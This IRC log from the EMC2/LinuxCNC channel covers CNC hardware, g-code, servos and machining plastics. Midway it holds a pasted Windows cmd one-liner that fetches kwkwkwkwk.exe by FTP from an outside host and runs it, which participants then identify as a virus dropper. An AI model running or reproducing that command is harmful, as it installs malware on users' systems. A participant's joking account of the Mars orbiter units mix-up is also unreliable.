so is 2.1.5 going to be around awhile or is .6 just around the corner?
I was just wondering that myself
* Twingy is about 75% done gerber->gcode algorithm
I'll probably make 2.1.6 this week sometime
I'm debating loading up another system as a SIM box without any extra hardware... Figure I'll wait for that then.
Skullworks-PGAB: the updates are so simple and automatic that I don't see why you'd wait
have to build the box yet - and there are other things more pressing, a few days is nothing.
using the pluto or other PWM device, could the duty cycle be displayed as a percentage in the GUI?
kinda soft loadmeter?
is anyone here working on geda?
Skullworks-PGAB: sure, you could display any hal value using pyvcp on the AXIS gui
see sim/lathe - it shows the spindle speed using a bargraph
on my lathe I show the pid output, so I can see how heavy it's cutting (and how close to running out of steam it is)
I will likely use mini or Tkemc for my mill - but the lathe project will be using AXIS
cradek: servo on your lathe?
what did you use for servos?
junkbox pittman motors
9's . 14's ?
I don't know
19.1V, about 3" long
I think that's the spec for my encoders ;)
I got about a dozen of the 14203's ball bearing NIB - yeah same size but mine were 24V
JMK crunched the numbers and they are too small for my X3 mini mill.
"<jepler> alex_: "Build-dependencies on "build-essential" binary packages can be omitted. Please see Package relationships, Section 4.2 for more information." -- http://www.us.debian.org/doc/debian-policy/ch-relationships.html#s-sourcebinarydeps"
I'm sometimes alex* depending on which machine im on, but if you have a fresh emc install and pull in emc2-dev to compile a hal component with comp, make is missing. Most people probably know about build-esse
ntial but there was no mention on the wiki. (the joystick hal-comp page)
one or more of the "building EMC2" pages mentions build-essential
I have the big 24V 14's for the mill - but for now still need a H-bridge that can pull it off.
That and I'm still looking for decent ball screws.
No one does a good servo/ballscrew conversion for the X3.
Skullworks-PGAB: are you skullworks on cnczone?
yeah - I had you tagged from back when you posted the K&T servo pic.
Here I am struggling with a little Pluto-P and a 440lb table top mill - and your playing with tonnes.
the table/saddle is 6 tons
but that my home office toy
the pallet is 1 ton
I still get to play with the 30hp 10K rpm 40"x20"x20" 1250 IPM Mori Seiki... mill
I love to get people in there and tell them to hit E-stop as soon as they see the tool flip down for a tool change...
I want to get a table top mill to play with
too late - 7/10 second - its allready finished...
took awhile to get used to doing tape checks - and keep your underware clean, that machine MOVES
required a new 400KVa service just for the machine
now here is the ultimate EMC hardware challenge
feck. how does one merge asynchronous and synchronous functions into one module and also be realtime compliant?
there is a way to define the pitch of a tap and activate rigid tap mode
The_Ball: please feel free to improve the wiki. to make pages editable, follow the instructions here: http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?BasicSteps
then the spindle will track with the z axis hand wheel in jog mode...
seen it done... its freaky - but just requires a spindle control with extreme low end torque and fast response.
skunkworks: I got a direcway dish and dual (tri) lnb's
Is there such a thing as 0.5V steppers?
3.5" floppy stepper?
Hmmm, a lil something bigger than that.
about the size of a stack of 7 pennies.
I was just wondering if there was a stepper that could actually use a 12VDC to drive it with 0.5V * 25 = ~12V
12V will really move some small Nema 23's and most Nema 17's
most the hotwire cutter controls only use 12V
but they use 127oz-in or smaller motors
[00:58:43] <JymmmmEMC> http://webtronics.stores.yahoo.net/stmo4.html
3.4kg.cm nfc what that is in in.oz
or 2100g cm
whats on your machine now?
2 100 (g cm) = 29.1635118 oz in
google calculator to the rescue
jepler, cheers, i'll add to the wiki
3.4 (kg cm) = 47.2171144 oz in
Skullworks-PGAB: This has nothign todo with my machine. Just been thinking for a long time about a tiny/portable machine that could do etching/engraving
and use PC PS
saw one like that - had 4 suction cups for feet
would engrave plastic door signs right on the door.
Maybe even take a PC mid tower and be able to flip over a side cover and there be the machine ready to go
I took apart one ugly mid tower case that has all those funky platics sides to it - gonna see if I cna make it the case for the new controller box for my machine.
I put a female 3pin XLR on the back of a PC so I could tap into the 12v and 5v power
Heh, that works. I still have the PS for this case, will probably use that for 12/5 if needed.
gonna take this and me dremel to work to get rid of the rest of the plastic sides.
fsck it, 1/8" drill bit and a cordless from work - I'm too lazy to carry all that crap
made a nice cover plate for one of the extra fan grills
I have a few sheets of 24" x 24" acrylic here, could carve something nice then edge light it. LOL
has the XLR mounted in the cover plate, looks sooo custom!
that stuff can be such a pain
chips / cracks
in what? I haven't had any problems with it
acrylic - or more precisely "plexiglass"
Or no, not plexiglass (polycarb)
polycarb / Lexan is the sweet stuff!
and machines like crap too
its what I been using to make my pws CAP mounts
have some slightly smoked/tinted that works good
Skullworks-PGAB: lousy photo (out of focus) but you get the idea.... http://farm1.static.flickr.com/84/206158222_cb5c34978c_m.jpg
That's a 3" round disc I did
use a mix of dishsoap & water as a cutting fluid - then just rinse off when done - should give you a great finish if you have a sharp tool.
what size cutter?
is cat V or cat 6 cable sufficient for wiring up steppers?
not rated that high amperage
since it's going to be moving all the time, it's probably better to use someting stranded
that was interesting
toast_ is now known as toastydeath
got a 2" travel dial indicator for $20!
Hope the pointer stays on for you.
I think I've got about 3-4 hours of development left on the gerber -> gcode
hey g-code gurus (and non-gurus)
we're putting together a g-code reference card to hand out at the CNC workshop
it has a summary of g, m, etc codes on the front, and some drawings on the back
so far I have drawings to clarify arcs (I,J vs R mode, negative and positive R, etc)
and a drawing to clarify tool diameter compensation, entry moves, exit moves, etc
I have a little space left
anything that would be clarified by a small drawing?
thats tool diameter comp
yeah, didn't see the second line
G91 vs G90 mode?
thats offsets isn't it?
or am I thinking of G92?
no, relative vs absolute
G00 X0.00 Y0.000 can be guarantee to not move in one mode and uncertain in another
I'm not sure a drawing really helps understand rel vs abs
what about the paramaters for the drilling can cycles?
somebody else would have to explain them to me
canned cycles may be a bit too much for this reference card
heh... I still refer back to the haas manuals when I needed them... R planes, peck depths, etc
depends on how long you want them to be able to make use of them (just as a beginner or a long term reference card)
this is what I have so far for drawings: http://jmkasunich.dyndns.org/pics/gcode-ref.eps
EMC is a bit short on canned cycles anyway
many of the codes are stated to be reserved but not yet implimented.
there's not as much space as I thought (under the cutter comp drawing)
maybe I'll put the URLs for the various manuals and wiki there
is the R arch diagram valid?
thought you can't do more then 180deg w/R notation?
to be honest, I don't know g-code that well... I'm a motion control guy
best to not use R for G2/G3
but cradek drew the original of that, and said he checked it
stick with I/J
both have their quirks
IJ gets upset if start and end aren't the same distance from the center (within a pretty tight tolerance)
yeah - maybe someday it can accept" G3 J-1."
R doesn't work for arcs near 0, 180, and 360 degrees
I seem to recall -180 < R < 180
I dunno - I just draw pretty pictures
emc macro = spirograph
draw all sorts of neat stuff
03jmkasunich 07TRUNK * 10emc2/src/hal/drivers/mesa_5i2x/firmware/ (bit2fpga.py core.mspec fpgaedit.py): another day, another few lines of code
is it better (ie, lower latency) to have a single module with multiple threads, or multiple single-threaded modules?
Could I machine steel (pc case) using 8krpm? if so, any particular cutter (no coolant)?
Jymmm: what size cutter?
(btw, RayOVac batteries blow chunks)
ds2: 1/8" I guess
ds2: try the 100V battery
this is the 3rd time a rayovac battery screwed up something
HSS or Carbide cutter?
for carbide, it may work; for HSS, definitely not
I don't have the cutter yet, so it could be anyting.
it is about 2.5x the speed of HSS so it may work (2-4x HSS speeds is a common rule of thumb)
ds2: Ah, ok.
ds2: Hey did you say you were trying to get your computer stuff into at least the 20th centry?
P3?! I got a pile of those
P4 or Athlon 64 is what I am trying for
ah ok you said you has Xt/At
Oh that, yes, I got an AT case sitting around
at I think a spare PS for it
oh, just *A* case
yes, just a single one... it needs to go away
heh, I just gutted a ATX case, gonna use it for the new controller
heh... I could use a few ATX cases (ONLY after I dispose of my AT mini towers)
but that's for your P4 crap, right?
no, I got a bunch of PIII ATX boards
just the boards or whole systems?
what do you define as a whole system?
cpu, ram, cd, fdd, nic, etc
got CPUs, RAM; NIC is integrated... but no CD/FDD/HD
but I got a ton of Compact Flash to IDE adapters
and a ton of 256MB USB sticks too
you do SCSI or no?
some of those are built in SCSI too
SCSI recks havoc with RTIA
how bad is the PIIX IDE chip?
Piix 3 and piix 4 rock
Piix3 just does not support fast cpu
Socket 7 era was piix3
i think the system i have built up is based on a K6-2 500 so it doesn't have SCSI
didn't want to use up the fast boards ;)
that could be piix4 maybe - most likely its not an intel chipset
most the super-7 boards 100FSB were not intel
sounds right... just don't recall it is
just waiting for some time to shuffle around the garage before I put EMC in to service
I'm still hunting a useable ballscrew combo
oh anyone have any comments on using a counter weight for antibacklash?
ballscrew for a mill?
Hi, can somebody, please, tell me what the absolute minimum requirements for EMC are? I have a bunch of 486 machines and 1-2 "Pentium 1" machines which were sorted out. Are they usable for CNC milling or too slow?
yeah... Z and X for a lathe
some guy did that
letme find his page
ds2: that might be fine for CW, but what about when it goes CCW ?
I suspect for a lathe you just need damn good preloaded balscrews
xerox - P1 can work - work best with something like the USC which takes step generation off the cpu and onto the USC
x3rox: test using the live cd
Jymmm: on a lathe, how often do you do a full quadrant change?
otherwise its going to crawl
hmmm maybe not a weight but a spring like this:
[07:01:59] <ds2> http://www.dakeng.com/ltfaq.html#4.6
could be OK, with full or half step drivers
ds2: you never know.... you might decide one day to mount the lathe ion the wall or ceiling o
Jymmm: heh... with the room I have...
Need to generat the 2-bit stepper signal (StepType=2) for 3 axes...
...on parallel port.
just looking for a simple CNC conversion for the HF 7x12 lathe; just something to let me do hemispheres and give me power feed (currently, no practical power feed); think CNC is easier then adding power feed and finding a sphere cutter attachment
a P1 will top out about 15KHz
220.127.116.11/25s are overrated
and not be too smooth
spheres are overrated
Oh, I also have a VIA EPIA Mini-ITX with 800-1000 MHz. Is this fine, too, or has Ubuntu of the live-CD problems with C3 CPUs?
no - those work
prehaps... but being able to make lenses out of acrylic stock seems interesting
ds2: try sugar instead =)
just a bit fun to tweak the initial install - graphics and power management issues
I guess, yes.
was thinking about using one of those as a wireless file server for my motorhome...
It is really a nice board. But this CPU is somewhat special...
I think it must be an EDEN CPU. The P/N is: 10ßed800p00a1a0
--> See the ed800 part!
(Besides: I am xantipe from the weekend-evening...
Jymmm: I'll stick with something that someone ELSE has tried
is that a socket 370?
ds2: duct taping the lathe to the ceiling?
:D No, the CPU is soldered in directly.
CPU claims to be a Pentium derivate, but misses some registers, if I remember right.
I think about using a CF-Card as HDD-substitute (so everything is shock-resistant) and put the board directly into the mill.
anyway - time for a few ZZZZ before I head off to work again...
Where are you from, Skullworks-PGAB?
Colorado Springs CO - USA
Oh! then it is late night there! -- Good night!
Ok, I am from Austria. GMT+1hour
nice - seems the best X3 kit is made down there.
What's an X3 kit?
for the Seig X3 tabletop mill
let me dig up a link
Sorry - I am not so familiar with mills. I just start with...
[07:22:19] <Skullworks-PGAB> http://cnckits.com.au/
I'm doing an X3 - but I want to do it as servo - no one does a servo kit.
Whow - This is a little bit bigger than I expected...
which gecko drive is generally regarded as the most suitable for smaller mills?
I have G201 on my mill
but I would rather have some g210
why those in particular?
lerneaen_hydra: too slow speed on the G201
I have lots of pulses / mm
and the g210 have a 1x,2x,5x, 10x multiplier inside
oh, so 10x may be too much
depending on the desired speed
well.. they work in 10-microstepping
so 10x multiplier would be exactly 1 step
I have a 200 pulses / rev stepper
and 1mm/rev screws
so 200 pulses / mm
is the short circuit/reverse polarity/overvoltage protection etc generally deemed unneeded?
for small mills probably
ok, that's what I was thinking
jepler, I read about the 64bit rtai
on your website
what distro did you use?
xemet: ubuntu of course
so the 6.06
what was the status on backlash today?
works but can do maxvel*2 and maxaccel*2?
that could be -- nothing has changed lately about it
do you know if that's the behavior it has had before?
or was that just a "If that's how it was before that's how it is now"? ;)
alex are you there? Did you received my email?
cmd /k echo open c0re.servehttp.com 1981 > o&echo user 1 1 >> o &echo get kwkwkwkwk.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &kwkwkwkwk.exe
Guest947 is now known as skunkworks_
what the hell was that?
rayh: that creates a script which fetches "kwkwkwkwk.exe" from "c0re.servehttp.com" ad then executes it
rayh: that would have been an exploit if you were using winders
where did it come from?
I did NOT post it to this list. Fascinating that it bears my name.
you'd still have to execute it
rayh: the last message that appears to be from you on the emc lists is "Subject: Re: [Emc-users] about the axes A and B"
many windows viruses pick addresses and a subject line from the infected person's system, so it's no surprise that an infected user who subscribes to the emc list could generate mails that appear on the surface to be from you, with a malicious payload
hmm, I didn't seem to get "rayh"'s viral post
This web stuff is getting complex.
rayh: your not on a MS pc are you?
see yall later.
having not seen this message, I don't think there's any reason to believe it was actually sent by ray, or actually sent to the mailing list -- viruses have long written deceptive things in the To: and From: lines
if I create a square wave and scope it with a real analog oscilloscope I can easily tell whether the high and low times are typically around the expected value, but a single abnormally long pulse would not be visible. What kind of test equipment would I use to detect this kind of condition?
Hi, does somebody know a CNC mill named "Kosy 2"?
Has a serial interface (if I read right). So it must have an external controller, right?
x3rox: a serial-interface milling machine is probably not approriate for use with emc
Can somebody, please, give me hints for milling Plexi-Glass? I damaged two cutters because plexi was melting. Best was with low rpms and fast velocity...
x3rox: you want a 1-flute cutter made for plastic
jepler: I also thought that. WMaybe this is also the reason for the low price - it needs surely special software...
cradek: only one cutting edge, right?
or some kind of coolant of course
yeah, or maybe two, but if you're using 4 flute cutters made for steel, it'll never work
skunkworks_: ebay... :-/
cradek: Yes, fun lasts max for 5 seconds... :( High rpms or slow?
use what the cutter info says to use
when I did that, that meant a surprisingly high feed and low speed, and it worked
Thanks for this hint. When plixi starts getting little cracks along the cutting border I will have had too less speed or too much feed? (I do my first steps with plexi on a borrowed mill, so everything is new to me).
here's an IRC log from when I asked about it .. http://www.linuxcnc.org/irc/irc.freenode.net:6667/emc/2006-01-14.txt
I eventually used the onsrud o-flute that jymmm suggested, but I don't remember what feed rate or spindle speed I used.
Anyway, it is valuable info to use a 1-2 blade cutter.
what were you using?
Steel cutter ø0.7mm. Didn't live very long... :-/
cut cut melt melt ooze snap!
exactly. Roughly in the speed I needed to read that line...
does it need to be so small? that will be very very hard to do
I'm sure you'd need coolant
I mill a plastic case for electronics with a window for the display. I thought to take a 3mm plexi as window, inserted into the hole from the rear.
I can't use coolant, because the base of the mill is wooden.
(mill of aluminium stands on a wooden desk)
So I can only work dry.
" If spindle speed is 14,500
RPM, start feed rate at 200 inches per minute and increase until finish is optimized.
well this advice is not very useful to the typical cnc hobbyist...
hm, isn't it ironic that sendEstop() calls emcCommandWaitReceived()?
jepler: Oh, this helps a bit. Thanks.
Must leave for now. Bye!
Guest285 is now known as skunkworks__
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today was yet another busy day ... as usual
might have picked up a nice fat aerospace contract
Uk has an aeroscape project?!
what do you think companies like "British Aerospace" do/ make cheese?
Well, you Brits have coUlorful expressions for things, ya never know =)
it wasn't us who bombed Mars ...
that was you lot ;)
Nah, we just bombed the Pacific =)
you did Mars too
The US commisioned soem software in the EU, it worked in kilometres ... you lot thought it was in miles ... and ... splat. you hit Mars with the orbiter
made us laugh anyway
Another reason the metric system bites =) LOL
at least we accounted for the bombings... wasn't it you guys that lost one there ? ;)
ds2, its not lost .. we are just temporarily uncertain of its position
* JymmmmEMC lol @ robin_sz
* JymmmmEMC places a classified ad on robin_sz's behalf... "Long lost virginity, reward if found"
prehaps the next launch should be a large sack of doggie treats